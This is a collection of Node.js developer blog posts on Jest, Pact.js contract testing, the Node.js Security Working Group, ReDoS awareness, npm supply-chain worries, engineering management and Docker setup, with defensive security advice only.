Jest will pick the order of tests to run so you should definitely not have an expectation that they will run alphabetically, or any other fashion.
For you, they run completely random and it would be a bad practice to have test files named 01_loginFucntions.spec.js, 02_createUsers.spec.js.

So what do you like about the developer experience when using Jest?

Reasons to Love Jest: The Test Framework

Wed, 20 Jun 2018 11:56:15 GMT

We had Tape, Mocha, Ava, and now Jest. Let’s see what this is all about!

I enjoy writing tests, but Jest takes it to a whole new level.
It’s like I get up in the morning and ask myself:

what new app am I going to build today?

I need something to write some jests tests for

I love Jest for many reasons and this is the first of several posts where I’ll share why I really like it, so let’s get started.

Zero Configuration

Jest follows the #0CJS practices for Zero Configuration, where even though it is extendible with many configuration variables, it just works out of the box and you don’t need to configure anything special.

Think Webpack4, Parcel, Create React App — this is a practice that many projects have been following recently so it shouldn’t be news and Jest embraces it whole heartedly.

What 0CJS boils down to:

One dependency — just install Jest
Mocking is built in, no need to install testdoubles libraries like proxyquire, sinon, testdouble, or others.
Assertions are built in, no need to install Chai, Should.js, or others. Jest ships with a good basis of what it refers to as Matchers to assert expectations.
Code coverage ? Built-in.

Fast Like Ava, Sane Like The Rest

Oh Ava my love!

I jumped from Mocha to Ava.js a few years back and it has been an interesting ride. With Ava, it’s not about the tooling but rather the philosophy and test practices it promotes — no shared state between any tests.

This is however, not an easy task to follow.
Let’s see a crude example — Say your app behaves differently depending on an environment variable like NODE_ENV (not a far fetched example) and you want to test it in different conditions:

See the pitfall?

With Ava, the two test cases are executed concurrently, which will lead to a situation where by the time the first test case enters the service promise, the second test case already ran and changed the global variable’s value to production.

Some of these pitfalls are not uncommon across test code—global variables, singletons which are the basis for Node.js module system, or integration tests where managing state between test cases is part of a flow.

All of which are bad test patterns and should be avoided as Ava encourages, but we often find ourselves in these situations.

Extensible Framework

There’s a great talk about Jest As a Platform by Rogelio Guzman which I highly recommend you to watch:

But even without diving into the internals of the Jest project and how the platform is built -

Jest’s matchers (assertions, such as expect().toBe(1)) are easily extendible and help make your code more readable and concise without requiring you to use any of the language constructs.

For example, while Jest matchers give you out of the box things like:

.toBeTruthy()
.toHaveBeenCalled()
.toBeGreaterThan(number)

With the jest-extended package installed you also win the following matchers:

Arrays:

.toBeArrayOfSize()
.toBeArray()
.toIncludeAllMembers([members])

Numbers:

.toBeEven()

Objects:

.toContainKey(key)

jest-community/jest-extended
_jest-extended - Additional Jest matchers 🃏💪_github.com

Codemods

Imagine you have an existing code-base written in one test framework and you’d want to move to another framework. How would you do it?

Codemods are programs that help you automate work for transforming your code-base, and can largely be categorized in the following levels of maturity:

Search and replace
Apply regular expressions for smarter search and replace
Apply Abstract Syntax Tree (AST) transformations from one language syntax to another.

Codemods aren’t really specific to Jest but they make the job easy when you need to migrate existing projects.

I wrote an article that documented this process on a small project if you’re into the process:

Migrating a Mocha project to Jest Test Framework
_I like mocha just like the next guy, but sometimes it’s time to move on. We’re talking about iced coffee, right?_medium.com

And of course, the jest-codemods repository that will get you going:

skovhus/jest-codemods
_jest-codemods - Codemods for migrating to Jest https://github.com/facebook/jest 👾_github.com

I’d be happy to hear what are your reasons to love Jest.

There’s a second part that I’ll share soon —
“Reasons to love Jest: Developer Experience”

Stay tuned!

Meet the Node.js Security Working Group

Thu, 31 May 2018 15:00:24 GMT

In this post I would like to acquaint you with the work being done by the Node.js Security Working Group (WG) and how we’re improving the state of security for the Node.js ecosystem.

Security of Node Core

With respect to Security of Node Core, the Working Group members do not manage the triage and security releases (the project has a smaller team with access to do this), but instead it helps to define and document the processes that are followed. For example:

helping to define and document how CVE’s are managed
adopting HackerOne as a vulnerability management platform
defining overall processes. You can read more about some of these processes here: https://github.com/nodejs/security-wg/tree/master/processes.

Security of Node.js Modules in the overall ecosystem

The Node.js Security Project provides a unified process for discovering and disclosing security vulnerabilities found in the Node.js module ecosystem, which has been carried on by this working group today (this was one of the motivations for forming the Working Group)

The Working Group has defined processes for reporting vulnerabilities in modules within the ecosystem, works with module authors to ensure they are addressed and maintains a public database of vulnerabilities. You can read more about this work here: https://github.com/nodejs/security-wg/blob/master/processes/third_party_vuln_process.md.

Getting Involved

The Node.js Security WG is composed of members of the Node.js Foundation who mostly have affiliation with security initiatives, or other relevant background. If you have a passion for security and want to help out, please get involved.

We meet regularly, on a monthly basis to discuss items on the agenda.The session is live broadcasted, via the Node.js Foundation YouTube channel, and we welcome anyone to join for updates or bring up matters to discuss.

You’re welcome to review our last WG Agenda meeting notes

Diving Deeper into some of the Initiatives

Scope & Responsibilities

The Node.js Security WG’s set of responsibilities and scope is well documented in our repository, and can be classified into the following two high-level initiatives:

Improving the state of the Node.js Security Module Ecosystem — Through the creation of many initiatives, policies, and processes that we’ll review later in the article.
Governing Responsible Disclosure Programs for Node.js and the npm ecosystem — building a dedicated team, setting up relevant policies, and processes to enable security researchers to report vulnerabilities found in third party Node.js modules (npm).

The first initiative is being handled largely in an open matter through the issue queue, or agenda meetings, while the second is managed behind a vale of discretion to protect users from a publicly made vulnerability report which could expose them to malicious attackers.

Let’s further expand on some of the initiatives from the above.

A Responsible Disclosure Program for the Node.js Ecosystem

Providing a platform for bug hunters and security researchers to safely report vulnerabilities in third party modules for Node.js is essential.

We have established official channels of communication, namely through the HackerOne platform, and policies to handle vulnerabilities.

This extends to module authors as well, which are now able to discreetly engage in such vulnerability reports and work out a fix and release without the vulnerability being public before a patch is introduced and provided to users. This is defined as a responsible disclosure program.

We set guidelines and policy for how the process looks like when a vulnerability is reported. You can read more about them in: Third-Party Vulnerability Reporting Process

A Responsible Disclosure Program for Node.js Core

The Node.js Core security group also uses a responsible disclosure program. All security bugs in Node.js are taken seriously and should be reported via HackerOne or by emailing security@nodejs.org. This will be delivered to a subset of the core team who handle security issues.

Bug Bounty Program

The Node.js project engages in an official bug bounty program for security researchers and responsible public disclosures. The program is managed through the HackerOne platform. More on how Node.js Core handles security policies here.

The SECURITY.md Badge

Having a security policy in your project’s repository can go a long way in communicating to your users how much you value and prioritize security.

If someone found a security problem with your Node.js module, how should they report it? Who should you contact? What if they can’t reach the maintainer? What if they want to stay anonymous?

As a module maintainer you can easily provide these details to your users by embracing a SECURITY.md file that you can copy from the template the Security Working Group provides.

Furthermore, adding the security badge on your repository will send a positive message to your users that you are seriously committed to security concerns.

Stay tuned for follow-up posts into the activities of the Working Group!

Feedback!

Whether you’re a module author, a security researcher or an end-user, your feedback is important and we want to hear from you on how we can improve, and what are painful areas that we can further engage on.

We also invite you to join us on an open slack channel: https://nodejs-security-wg.herokuapp.com/

Also, stay tuned as we’ll be providing more insights into the activities of this group, later on!

How a RegEx can bring your Node.js service down

Mon, 14 May 2018 13:26:05 GMT

The use of Regular Expressions (RegEx) is quite common among software engineers and DevOps or IT roles where they specify a string pattern to match a specific string in a text.

Often, programmers will use RegEx to validate that an input received from a user conforms to an expected condition. For example:

Testing that a user’s provided e-mail address is valid:

What does it have to do with Node.js?

The risk that is inherent with the use of Regular Expressions is the computational resources that require to parse text and match a given pattern.

A flawed Regular Expression pattern can be attacked in a manner where a provided user input for text to match will require an outstanding amount of CPU cycles to process the RegEx execution.

Such an attack will render a Node.js or JavaScript application unresponsive, and thus is referred to as a ReDoS — Regular Expression Denial of Service.

Let me show you why RegEx is a naughty word in our office

Say you’re building a music app and you want to validate song titles.

We need to match words, numbers, and spaces.
So you give the regex a few tries and come up with the following:

Maybe it’s not the perfect regex (hint: it isn’t).
But hey, it works.

I tested a few song titles and yeah, ready to push to production, woohoo! 🎉

Until a Britney Spears fan plays a joke on your app and enters the following song title as input:

Catastrophic backtracking.
Even if you have no clue what that is, sure sounds scary. And it’s in red too!

Curious to see what it means when you have this little RegEx gem in your Node.js code?

A relatively small input string was able to block the Node.js event-loop for about 6 seconds, during which time it consumed 99% cpu power.

Not exactly what you want to do on a single-threaded web application server.

tip: try that RegEx pattern on regex101.com and use their regex debugger to see what’s going on.

What now?

My number one rule is avoid writing RegEx on your own, but following are the alternatives I am suggesting.

Use a third party

Most of the time, if you need the common things it is better to rely on third party libraries which have a million of eyes looking at and improving both performance and security to get the job done than 3 colleagues code reviewing your version.

A recommended package for JavaScript is validator.js

chriso/validator.js
_validator.js - String validation_github.com

You’ll find all the common patterns — IP Addresses, e-mails, phone numbers, etc.

even validator.js had its own ReDoS vulnerabilities reported but better it, with a good community of maintainers and security researchers than rolling your own.

Lint your RegEx before using them

Of course you might need to end up writing your own RegEx pattern for something very unique in your use-case.

If that’s the case, consider using safe-regex which is package to help you identify potential bad regular expressions.

davisjam/safe-regex
_Detect possibly catastrophic, exponential-time regular expressions - davisjam/safe-regex_github.com

safe-regex is a quick go-to but it isn’t perfect actually so if you’re able to integrate Jamie’s tool you’re better off with it:

davisjam/vuln-regex-detector
_vuln-regex-detector - Detect vulnerable regexes in your project. REDOS, catastrophic backtracking._github.com

You followed so far? Britney Approves!

A suggested approach for your next project: RDD — README Driven Development

Sat, 28 Apr 2018 18:40:27 GMT

Side projects are an amazing thing.
We learn, experiment, and collaborate with the world through them.

Most of us probably approach side projects by building them, function by function, feature by feature, and they come to be.

However, with my recent project npq I wanted to do things a little bit different. It’s something I thought about for a while, and I had in my head the overall requirements for.

README Driven Development

A project’s initial commit is usually boilerplate code, framework, .gitignore’s what not. The other side of the spectrum is where developers complete a great milestone in private, and then push all of it as an “initial commit”.

README’s are usually an after-thought.

Not this time though.
My initial commit included a documented README with the features I want to support and the expected user interaction with tool.

2 months of iteration, and 22 releases later — and the basis I laid out in the initial README are the same.

You already know that the only constant thing in software is change.

Requirements change, features are added, and things might overall take a pivot.

Still, I find RDD a bit like TDD — it forces you to think about the overall result, without tying your hands down on implementation details.

Setting the platform with your team — A Manager’s README

Wed, 04 Apr 2018 10:21:31 GMT

A crucial part of being an engineering manager is on-boarding to a new team, or on-boarding others to yours. The important bits there is setting correct two-way expectations and atmosphere for how you will be working together.

With that in mind, and drawing inspiration from Matt Newkirk, and Roy Rapoport I documented my values and short list of philosophies & expectations that paints a clear picture of team dynamics.

I here by give you a document of my own Manager README.

Eran, as your manager,

I’m excited to get to know you more organically through chats, taking on challenges together, and day to day activities, but a few up-front things about my philosophies that might be helpful.

I’m here to help, support, and mentor you, to set context for what you’re working on, and to advocate for you and the team with the rest of the company.

📆 My calendar might look scary, but I’m here for you! If you see a good time on my calendar, please schedule something (you don’t need to ask first). If there’s urgency and you can’t get a meeting with me for a while, just let me know and I’ll make time. If you need to reschedule something, that is not a problem! I endeavor to make all of my calendar events with modify privileges and you should feel free to go ahead and move it to some other time slot that’s within business hours and not conflicting with other meetings.

Process and Software Development

I strongly believe in putting people over process and adopting processes or tools to accommodate our needs and goals.

I value transparency about what’s happened, what’s happening, and what’s going to happen.
I value ownership, and operation freedom, including proactive efforts that keep us moving quickly. e.g. reaching out early to relevant stakeholders, and pushing tasks outside of your direct area of responsibility.
I value risk taking, innovations and new initiatives, and as such I strive to instill an atmosphere of trust, ego-free, and healthy feedback for a safe environment to experiment, fail, and succeed.

I value quality and high level of engineering culture. e.g. clean code, design reviews, writing tests, refactoring legacy code before a new feature, pairing on work to improve our code quality & bus factor, and automating everything.

🗣️ Feedback is very important to me

In situations where anonymous feedback is suggested, you’ll probably hear me suggesting that you provide direct feedback, though anonymous feedback is better than none. I’m dedicated to giving you clear and timely feedback and hope that you’ll give me the same. I believe that feedback requires three attributes:

Safety (you should feel safe to give and receive candid feedback)
Effort (neither you nor I should feel defensive about the feedback)
Benefit (giving/receiving feedback should have impact)

Please let me know if I’m doing poorly on any of these attributes. I’ll return the favor!

💪 I’m big on empowerment and mentoring

This is essentially why I love being an engineering manager, and I would like to make the best of it with you.

I’m looking forward to finding your areas of interests and work together towards your growth, contributions and accomplishments in these areas. Whether you want to venture into the open source community, become a public speaker, or lead a significant software or architecture design process — I am here to get you there! (or any other place your area of interest lies).

I’m looking forward to celebrate many wins with you!

👩‍🏫 1:1 meetings

I’m big on 1:1s too. I believe these meetings are a great place for you to actively set an agenda. What would you like to talk about? What’s going well? What’s bugging you?

We will also explore short status updates on tasks and project status to make sure we cover any red flags, or open items that I can help with. For remote chats, I have a difficult time focusing unless I can see your face over video. The length, frequency, and medium are also up to you, but my hope is that we’ll have at least 30 minutes a week. This is only a minimum though, and not a maximum!

Relationships

I endeavor to have a great working relationship with you, and I would encourage you to have great working relationships with your peers and business partners (in the office and/or on your team), as well as other folks in other offices to get a sense of how things work outside of our team. I’m happy to make introductions for you or provide networking suggestions to help you do that.

Your Philosophies

I’ve written a lot here about my philosophies but a fair amount of my job is adapting to your needs and philosophies, and I look forward to talking to you about them!

Much inspired by Matt’s Share Your Manager README article.
Thanks Matt!

Node.js — Integration Testing with Pact.js

Mon, 05 Mar 2018 18:41:08 GMT

In a previous article we reviewed how Consumer-Driven Contracts (CDC) help with integration testing in an environment that is rich with microservices.

Scalable Integration Testing for Microservices Deployments
_Many jumped the gun on microservices, and they are ubiquitous today more than ever for implementing service oriented…_medium.com

Solving it with Pact

Pact is an open source initiative that implements consumer-driven contract testing and is facilitated using the Pact Foundation organization to create and collaborate on pact frameworks for different languages and platforms.

Some Pact implementations include:

Ruby
Java
Node.js

Introducing Pact.js

While there are two sides to the coin, we will focus only on the consumer testing for a Node.js project and review the integration tests with an Ava.js test runner and framework.

0. Installation

Install the pact npm package as dev dependency:

npm install —save-dev pact

1. Create the test file

Depending on your Node.js framework and directory structure, create a test (spec) file where we will write our integration test with pact.

// consumer-example-test.integration.test.js
const path = require(‘path’)
const test = require(‘ava’)
const pact = require(‘pact’)
const request = require(‘request’)

2. Define the Pact server

const MOCK_SERVER_PORT = 2202

const provider = pact({
consumer: ‘TodoApp’,
provider: ‘TodoService’,
port: MOCK_SERVER_PORT,
log: path.resolve(process.cwd(), ‘logs’, ‘pact.log’),
dir: path.resolve(__dirname, ‘pacts’),
logLevel: ‘INFO’,
spec: 2
})

While we said we’re writing a consumer test, don’t be mis-lead by the provider variable definition. This is where we define the pact server which mocks our provider and will respond to API requests we make to it.

consumer and provider are simply names to make it easier when debugging, reviewing test logs, and for use in the generated Pact contract in the end.
Pact will start a service listening on port 2202, writing logs to a logs/ directory where the test are executed from, and will create the actual pact contract file in a directory pacts/ that resides next to where you created the test file itself.
Pact will use the latest specification version that it supports (v2)

3. Test Setup

test.before(‘setting up pact’, async t => {
// this is the response you expect from your Provider
const EXPECTED_BODY = [{
id: 1,
name: ‘Project 1’,
type: ‘1’,
due: ‘2016-02-11T09:46:56.023Z’,
tasks: [
{id: 1, name: ‘Do the laundry’, ‘done’: true},
{id: 2, name: ‘Do the dishes’, ‘done’: false},
{id: 3, name: ‘Do the backyard’, ‘done’: false},
{id: 4, name: ‘Do nothing’, ‘done’: false}
]
}]

await provider.setup()
.then(() => {
provider.addInteraction({
// The ‘state’ field specifies a “Provider State”
state: ‘i have a list of projects’,
uponReceiving: ‘a request for projects’,
withRequest: {
method: ‘GET’,
path: ‘/projects’,
headers: {‘Accept’: ‘application/json’},
query: {
projectTypes: pact.Matchers.term({
matcher: ‘\\d+‘,
generate: ‘1’

        })  
      }  
    },  
    willRespondWith: {  
      status: 200,  
      headers: {'Content-Type': 'application/json'},  
      body: EXPECTED\_BODY  
    }  
  })  
})

})

Before our tests can actually run we need to start the Pact service and provide it with our expected interactions.

This is where we define our expectations. Any mis-match between expected interactions will result in the test throwing an error when being asserted.

withRequest and willRespondWith define the expected interaction between the API consumer and provider.
You will notice the expectation for the request part is also defining a query parameter called projectTypes which the consumer API is expected to send and we use a capability from the pact library known as matchers to allow some flexibility on the provider implementation of the contract by using a number regex.

4. Consumer Testing

test.cb(‘should generate a list of TODOs for the main screen’, t => {
t.plan(1)

// const todoApp = new TodoApp()
// todoApp.getProjects() // <- this method would make the remote http call
// .then((projects) => {
// expect(projects).to.be.a(‘array’)
// expect(projects).to.have.deep.property(‘projects[0].id’, 1)
//
// // (5) validate the interactions occurred, this will throw an error if it fails telling you what went wrong
// return provider.verify()
// })

const reqOptions = {
url: `http://localhost:${MOCK\_SERVER\_PORT}/projects?projectTypes=1\`,
method: ‘GET’,
json: true
}

request(reqOptions, async (error, response, body) => {
if (error) {
t.fail()
}

// This is the important part, where we assert expected interactions with our Pact service  
await t.notThrows(provider.verify())  
t.end()

})

This is our actual consumer test where we use the request module to make HTTP requests to the mocked API service that the pact library created for us.

About the actual consumer test — the top part which is commented shows an actual expected usage in real world where you call an internal logic that behind the scenes expects to fire an API call to the provider. Another case can be where you simulate requests with supertest to an internal API end-point inside your own consumer, which in-turn fires that API call to the provider.

The bottom part of the test where we fire that API call to the provider is just for the sake of a working example.

Most importantly, we assert with provider.verify() that indeed all expected interactions have been fulfilled by making sure it doesn’t throw an error, and then conclude the test.

5. Test tear-down

test.always.after(async () => {
// (6) write the pact file for this consumer-provider pair,
// and shutdown the associated mock server.
// You should do this only _once_ per Provider you are testing.
await provider.finalize()
})

After running the test, you can consult the verbose pact.log file to gain more clarity on how the interactions work, and better yet, you now have a pact file in the pacts/ directory that you can collaborate on with your provider!

Summary

Pact.js makes it really easy for us to write consumer tests, and you’re invited to help collaborate with us in an open source spirit at: https://github.com/pact-foundation/pact-js
Mind your test setup — usually you will be dependent on data available for the consumer in order to test the provider as well so plan for that when you’re writing your consumer tests.

For brevity, the test code itself is written in a simple manner but there are better patterns to employ on how to write your tests, such as defining interactions and their expectations within the test case itself and not on the global test suite.

In the next follow-up post we will review more in-depth on the Pact.js framework lifecycle, and test patterns for better tests.

💚 3 Valentine’s Poems for a Beloved & Secure Node.js App

Fri, 16 Feb 2018 14:14:28 GMT

Dedicated to everyone whom are helpless romantics as I am, and hopelessly in-love with their Node.js apps.

In a Relationship You Respect a Spouse’s Privileges!

Roses are red,

Violets are blue,

Never run node with su__

If you’re brain didn’t auto-complete that — You never want to run the Node.js process, or an npm install with a superuser privileges, such as the common mistake:

# don’t do this!
sudo node index.js

It Is Important To Listen

Roses are red,

Violets are blue,

Never write a regex, or you’ll DoS your task que__

If you’re brain didn’t auto-complete that — You want to avoid as much as you possible writing any custom regex code on a JavaScript app (browser or Node.js), due to the fact that regular expressions require compute cycles and it is easy to write a bad regex that can lead to denial of service by blocking the event loop.

Instead, use a common validation library such as one from below, or run your regex through safe-regex to validate the pattern.

npm install validator joi safe-regex

Secrets Should Remain Secret

Roses are red,

Violets are blue,

Committing secrets to git? Shame on you!

Plain-text secrets in your source code is bad, and worse when they get pushed to a repository, public or private. One workaround is to encrypt them at rest in source code but that’s not very manageable and has a lot of downsides, a better one is using a service over secure wire to access them. Another option is following the 12 factor app environment variables pattern.

Anyway, you should use a tool git-secrets to help ensure that you don’t accidentally commit secrets like passwords and API keys or tokens to git.

npm install git-secrets pre-git

Terrified of NPM security? please don’t blindly follow the panic

Sun, 07 Jan 2018 23:41:21 GMT

So you too panicked over security in the npm repository due to a recent blog post?

This one in particular:

I’m harvesting credit card numbers and passwords from your site. Here’s how.
_The following is a true story. Or maybe it’s just based on a true story. Perhaps it’s not true at all._hackernoon.com

T̶h̶a̶t̶ ̶p̶o̶s̶t̶ ̶i̶s̶ ̶a̶ ̶t̶r̶o̶l̶l̶ ̶a̶t̶ ̶b̶e̶s̶t̶.̶ ̶L̶e̶t̶ ̶m̶e̶ ̶t̶e̶l̶l̶ ̶y̶o̶u̶ ̶w̶h̶y̶.̶Ok, that’s mostly possible, and, yes be cautious about it, but let’s be clear it’s not npm’s fault, and definitely nothing new.

Let’s understand why that blog post is a c̶o̶m̶p̶l̶e̶t̶e̶ fuss, wrongly putting npmjs in a bad light, and causing panic for no reason.

The premise of the trojan

The author describes his malicious javascript code which is bundled into a website and steals data.

In order for the author to actually get other sites data than its own, he recognizes that he needs to distribute it somehow to other websites, and chooses npm to do it.

At this point, nothing really new, and nothing surprising.
Anyone can just push something malicious anywhere they want, whether it’s npmjs, python’s pipy registry, or whatever.

Still, the fact that your package is on the registry doesn’t count for anything, just like the fact you built a website doesn’t mean people will get there.

The real problem is how do you distribute that trojan to site owners?

The author recognizes the problem and takes the path of opening Pull Requests to GitHub projects, while sneakingly suggesting (adding) his own malicious package to the rest of the dependencies in the package.json file.

That’s it.
That’s the golden hack right there.

The ENTIRE PREMISE of the trojan is exactly that. No magic.

No remote code execution on npmjs servers.
No wu-ftpd remote exploit.
No npmjs remote meltdown or any other 0-day attack.
The author also didn’t phone npm support line and whistled a 2600hz to the earpiece.

Let me rephrase

The way that the malicious package’s author is able to distribute his trojan is by convincing other projects to use this dependency.

Amazing. Let me sit down to relax a bit and grasp this innovative attack vector.

So without a doubt, the author was gifted with incredible social engineering skills, and if that’s the case I can only step back and recommend:

consider a career in sales or investments since you obviously mastered the elevator pitch in those PRs.
consider reaching out to Kevin Mitnick so you guys can plan the computer heist of the century.

How is npm related?

To be honest, I don’t know.

Beats me why someone would want to inspire great dread into our JavaScript community.

Why npm is the scape-goat? Let’s consider the following analogies:

I am a linux kernel contributor. I submitted my patch, fairly big one into the project and it got merged. Ubuntu is later on released with this new kernel version that includes my backdoor.
Would you go blaming and wrecking havoc on Ubuntu for the fact it distributed a buggy or insecure version of the Linux kernel?
I am a wordpress contributor. I submitted a patch or feature to a popular package which made its way into the 30% of the top 10 million websites. Would you now blame wordpress?
If someone found a flaw in the DNS protocol, would you go blame and shout “insecure insecure” at the millions of routers in the world which sole job is to distribute DNS traffic?

I am running out of analogies, but I really hope you get the point.

The problem is not npm. They may have issues, but this case is definitely not directly related to npm.

Key defense arguments

Seems silly for me to even relate to these points on the blog post, but hopefully I’ll at least teach something new to someone:

- grabbing the cookie through document.cookie

For more than a decade now, cookies have this flag called httpOnly, which sole purpose is to defeat XSS attacks and malicious JavaScript code from accessing your browser cookie.

- The author claims his malicious code is hidden from pen-testers because they don’t work 7am-7pm hours

I… don’t even know how to respond to that. I hope the author understands this little thing about time — it’s relative.

Also, FYI, ops staff operate in a follow-the-sun model, which means no one is ever asleep and there’s always someone on the watch.

I mean seriously, it’s like you’d say the police only works at night, because who’s gonna commit crime during the day?

Do we understand open source?

I talk to all of us when I point this question — do you understand you work within an open source community? Do you understand what it means?

Open source is built on trust. On community, communication and key values that makes it this incredible and I love it for all that it is.

Can an open source project have security vulnerabilities? Yes
Can an open source project have performance problems that could incur a potential loss of millions on Christmas eve? Yes

As Eric Raymond elegantly put it in his paper when referring to Linus’s take on open source being vulnerable to exploitation:

given enough eyeballs, all bugs are shallow

When you embrace open source, you also embrace the risk it brings with it. Whether it is bad code, malicious code or unmaintained code.

But that responsibility is entirely up to you. You are responsible to perform a due-diligence on the packages you install from npm. It’s not npm’s job to code review every single line of code for you. npm in that take is simply a supply chain or delivery mechanism.

Epilogue

I recognize the blog post was made in parody, but reactions and comments I read and receive are of people taking this way too seriously to the point of panic.

I have to honestly share with you — I got quite depressed seeing all the buzz a seemingly bullying article has been making in the name of npm and security in general.

I’m a security activist, author of a Node.js Security title, regular committer to an OWASP Node.js project, and have spoken regularly about Node.js Security in several local and international conferences, including Israel’s AppSec.

Why am I telling you all that?
because I am all in favor of raising awareness for web application security (or infosec in general), I truly am. but I feel bad for npm and the community being a punching bag for no reason.

With all due respect to David Gilbertson, I really don’t know him beyond his blog post and I’m sure he had no bad intentions, as he clearly states his post is fictional.

Still, I believe we can give a readers’s intelligence a little bit more credit with a more constructive post about dangers in web security (or npm) without scaring them. This is simply not how we build trust in the security world.

I covered many security concerns related to Node.js and npm, some of which are very much like the blog post premise, as you can learn from this talk:

But instead of fear, I would like to us to engage in constructive discussions on how we can make things better.

No marketing plug in this post. If there will be interest, I will be happy to share in a follow-up what tools and processes exist today that we can use in our projects, open source or not, to better secure them and address many security concerns, including malicious packages as the original post referred to.

Migrating a Mocha project to Jest Test Framework

Sun, 26 Nov 2017 11:06:20 GMT

I like mocha just like the next guy, but sometimes it’s time to move on. We’re talking about iced coffee, right?

The Why

So I actually had a chance to take the Jest testing framework for a drive in a side-project that abstracts some Amazon AWS S3 functions: https://github.com/lirantal/aws-s3-utils, but this story is about migrating an existing project to Jest.

The story is about an old library I built that converts a Linux CRON scheduling notation to Quartz format. I named it in the most creative way I could: cron-to-quartz: https://github.com/lirantal/cron-to-quartz

fun fact #1 — cron-to-quartz is the first, and only library on npm that does this conversion!

I used mocha and should.js for tests, and I also cared to integrate security through tools like Snyk to watch over dependencies which might introduce vulnerable code so I know to upgrade or patch them.

If you add a project badge on your README it’s easy to notice:

The vulnerability is coming from mocha, and one could argue that it’s just a testing framework and doesn’t ship out to users.

That’s true, but it bothers me none-the-less and I’m crazy like that.

You can read more about this vulnerability: https://snyk.io/vuln/npm:growl:20160721

The Big Migration

Jest makes it easy to migrate away from test runners like mocha, or from using assertion libraries like should.js. It does this by employing codemods which are amazing but deserve their own post. So in short they work like babel — reading your test code and converting it to Jest code.

Codemods

Install the jest-codemods library as a global tool that you can run on any project or codebase:

yarn global add jest-codemods

When you execute the jest-codemods utility it will interactively prompt you to select which frameworks you are using so it can run the correct combination of codemods under the hood to migrate your project:

It’s possible to do a dry run of the migration where you aren’t actually changing your codebase and you can survey how the process works out and what manual intervention you possibly need beyond the codemods automatic migration.

Looks good…

Not all roses and rainbows

The conversion worked almost perfectly except the AST plugin didn’t handle chained should.js assertions properly so it ended up with expect assertions that aren’t valid and all the test actually failed.

It’s not that bad either.
I quickly updated the existing should.js test code to refactor out the chained assertions:

Then running the codemod conversion and it’s done!

From Mocha to Jest in seconds.

At this point on as simple as removing mocha and should.js dependencies and replacing them with jest and updating the project accordingly.

A Little Jem For Closing

If you reached this far I thought I’d treat you with a little gem for closing:

Fun fact #2 — did you know there’s an actual movie titled Mocha & Chai?

Can’t wait for your comments with feedback on the movie!

🔨 The long over-due commit of Open Source

Mon, 09 Oct 2017 05:58:17 GMT

This is a story of patience in Open Source, where every bug, every Pull-Request gets attention.

I discovered freeboard, an opensource dashboard for Visual UI Widgets.
I needed to use it for a Hackathon we were performing in my team last year.

The framework is very cool and mature, the creators of freeboard even have a SaaS offering for anyone to sign-up and share dashboards. Getting the product to work on your own computer is easy, but for new comers the README documentation is lacking.

So here’s my Pull-Request to fix that, and ease new-comers to the project.
Yes, you’re reading right — this PR is from last year! 7 months ago…

Some people commented on the PR, but only months later this was reviewed and merged to freeboard’s mainstream branch:

So don’t give up. Do your best to improve software wherever it is.
As Eric Raymond says and attributes Linus:

“given enough eyeballs, all bugs are shallow”

So what open source projects have you been working on lately?

The long over-due commit of Open Source

Mon, 09 Oct 2017 00:00:00 GMT

This is a story of patience in Open Source, where every bug, every Pull-Request gets attention.

I discovered freeboard, an opensource dashboard for Visual UI Widgets. I needed to use it for a Hackathon we were performing in my team last year.

So here’s my Pull-Request to fix that, and ease new-comers to the project. Yes, you’re reading right, this PR is from last year! 7 months ago…

Some people commented on the PR, but only months later this was reviewed and merged to freeboard’s mainstream branch:

So don’t give up. Do your best to improve software wherever it is.

As Eric Raymond says and attributes Linus:

“given enough eyeballs, all bugs are shallow”

So what open source projects have you been working on lately?

p.s. this is a re-publishing of an old post, but I always find it relevant and motivates developers to get into open source.

Scalable Integration Testing for Microservices Deployments

Tue, 19 Sep 2017 21:00:17 GMT

Many jumped the gun on microservices, and they are ubiquitous today more than ever for implementing service oriented architectures. Moreover, tools and ecosystems like Docker and Kubernetes for container orchestration are driving high adoption for microservices due to good support for orchestration, fast and consistent deployments among other reasons.

If your deployment environment is quite small, lean and CI runs fast in an integrated test environment then chances are that you don’t feel the pain… yet.

Microservices — The More The Merrier?

When your deployment is dependent on many microservices, some of which might turnout to be complicated to deploy, then you feel the pain. Setting up the integrated environment so you can run tests and verify your service works well with others is a challenging task and potentially hinder CI with slowness.

docker-compose and similar tools help in making the job easier, but it doesn’t necessarily scale well for CI when you have tens or hundreds of services, or when services depend on large databases with large migrations backlog, all of which need to be spun up and down during your CI. Your microservice dependencies may have their own service or third-party dependencies, and they evolve and translate into more setup, and changes in deployment which again contributes to the overall problem of maintaining a fully deployed environment for CI.

Consumer Testing To The Rescue

Instead of deploying with all of your service dependencies you would instead rely on verifying an API contract from both the consumer end (you), and the provider end (the service you depend upon)

With the Consumer-Driven Contracts pattern employed, both parties of an API, referred to as consumer and provider, are setting an agreed-upon API contract which they both need to adhere in their testing.

Probably mocking services isn’t news for you, so practically for the consumer this means to set the API contract which will essentially be used as a mocked API service during CI for consumer tests, there-fore eliminating the need for bringing up many service dependencies.

The provider is using the API contract output that the consumer has already created, and executes tests in its own CI, assuring that it didn’t break any API contract for consumers.

this pattern only works well if your teams are collaborating together and aren’t silo’ed. yes, people need to talk, it’s human nature.

Some of the benefits with Consumer-Driven Contracts:

Setting the API as contract, in advance, even if your provider might not exist or may not have an API developed yet.
Expectations are defined and set up-front.
Easy to test, fast to run, lean infrastructure setup.
Improve collaboration with teams
When the provider breaks your contract they know about it instantly because they verify their API contract in their CI.

The picture depicts the relationship between the consumer and provider, as illustrated by Andy Kelk in his blog post.

In the picture, a reference to an open source implementation referred to as Pact which we will discuss in a follow-up post on how to do integration testing with the Pact.js project for Node.js microservices.

The Follow-up Post:

Node.js — Integration Testing with Pact.js
_In a previous article we reviewed how Consumer-Driven Contracts (CDC) help with integration testing in an environment…_itnext.io

Securing a Node.js + RethinkDB + TLS setup on Docker containers

Thu, 10 Aug 2017 15:38:52 GMT

Intro

We use RethinkDB at work across different projects. It isn’t used for any sort of big-data applications, but rather as a NoSQL database, which spices things up with real-time updates, and relational tables support.

Node.js Ecosystem

RethinkDB features an officially supported Node.js driver, as well as a community-maintained driver as well called rethinkdbdash which is promises-based, and provides connection pooling.

There is also a database migration tool called rethinkdb-migrate that aids in managing database changes such as schema changes, database seeding, tear up and tear down capabilities.

RethinkDB Docker Setup

We’re going to use the official RethinkDB docker image from the docker hub and make use of docker-compose.yml to spin it up (later on you can add additional services to this setup).

A fair example for docker-compose.yml:

version: ‘2’

services:

rethinkdb:
image: rethinkdb:latest
ports:
- “8181:8080”
